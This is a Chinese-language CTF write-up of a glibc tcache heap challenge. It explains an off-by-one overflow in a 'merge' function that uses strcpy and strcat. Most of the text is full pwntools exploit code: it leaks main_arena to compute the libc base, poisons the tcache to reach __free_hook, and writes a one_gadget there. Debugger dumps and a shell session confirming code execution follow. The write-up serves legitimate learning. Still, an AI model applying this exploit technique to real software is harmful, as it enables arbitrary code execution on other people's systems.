前言
这道题考察的是堆溢出在高版本的libc
的利用方式,在高版本的libc
中引入了tcache
机制
tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找到对应大小的chunk.
漏洞分析
在merge
这个功能中,当分配的堆块占用了下一chunk
的pre_size
位时,strcpy
的时候会将下一chunk
的size
也复制,再配合strcat
会溢出一个字节,merge
部分函数代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| int sub_E29() { int v1; signed int i; signed int v3; signed int v4;
for ( i = 0; i <= 14 && qword_2020A0[i]; ++i ) ; if ( i > 14 ) return puts("full"); printf("idx1:"); v3 = sub_B8B(); if ( v3 < 0 || v3 > 14 || !qword_2020A0[v3] ) return puts("invalid"); printf("idx2:"); v4 = sub_B8B(); if ( v4 < 0 || v4 > 14 || !qword_2020A0[v4] ) return puts("invalid"); v1 = dword_202060[v3] + dword_202060[v4]; qword_2020A0[i] = malloc(v1); strcpy((char *)qword_2020A0[i], (const char *)qword_2020A0[v3]); strcat((char *)qword_2020A0[i], (const char *)qword_2020A0[v4]); dword_202060[i] = v1; return puts("Done"); }
|
漏洞利用
- 首先,填满
tcache
的链表,再分配一个unsortbin
的chunk
然后free
,此时的fd
和bk
会存放main_arena
的地址,然后malloc
一个小chunk
把fd
填满,就可以泄露main_arena
的地址了,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| add(200,200*'a') add(200,200*'a') add(200,200*'a') add(200,200*'a') add(200,200*'a') add(200,200*'a') add(200,200*'a') add(200,200*'a') add(200,200*'a') add(200,200*'a')
for i in range(7): dele(i+1)
dele(8)
for i in range(7): add(200,200*'e')
add(8,'bbbbbbbb')
show(8)
p.recvuntil('bbbbbbbb')
leak=u64(p.recv(6).ljust(8,'\x00'))
log.info("leak=%s"%hex(leak))
libc_base=leak-288-0x10-libc.symbols['__malloc_hook']
log.info("libc_base=%s"%hex(libc_base))
|
此时堆栈的结构如下:
1 2 3 4 5 6 7
| pwndbg> x /10gx 0x5555557578f0-0x30 0x5555557578c0: 0x6565656565656565 0x6565656565656565 0x5555557578d0: 0x6565656565656565 0x0000000000000021 0x5555557578e0: 0x6262626262626262 0x00007ffff7dcfd60 0x5555557578f0: 0x6161616161616161 0x00000000000000b1 0x555555757900: 0x00007ffff7dcfca0 0x00007ffff7dcfca0 pwndbg>
|
可以看到chunk8
已经可以泄露main_arena
的地址了
- 然后把
unsortedbin
填满,之后利用tcache
形成两个链表,修改链表的fd
到__free_hook
,然后,再malloc
,就可以getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| add(0xa0,0xa0*'a')
for i in range(7): dele(i+1) gdb.attach(p,"b* 0x555555554A3A\n") add(0x68,'aa') add(0x28,'b'*0x28) add(0x40,'d'*0x3f+'\x81') add(0x60,'c')
dele(1) merge(2,3) dele(2) dele(3)
one_gadget = libc_base + 0x4f322 free_hook = libc_base + 0x3ed8e8 log.info("free_hook=%s"%hex(free_hook))
add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook)) add(0x40,'b') add(0x40,p64(one_gadget)) dele(0) p.interactive()
|
下面的结构可以看到我们成功修改到了__free_hook
的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pwndbg> bins tcachebins 0x50 [ 1]: 0x555555757b20 —▸ 0x7ffff7dd18e8 (__free_hook) ◂— ... 0xd0 [ 7]: 0x555555757330 —▸ 0x555555757400 —▸ 0x5555557574d0 —▸ 0x5555557575a0 —▸ 0x555555757670 —▸ 0x555555757740 —▸ 0x555555757810 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg>
|
1 2 3 4 5 6 7
| $ whoami [DEBUG] Sent 0x7 bytes: 'whoami\n' [DEBUG] Received 0x5 bytes: 'jcxp\n' jcxp $
|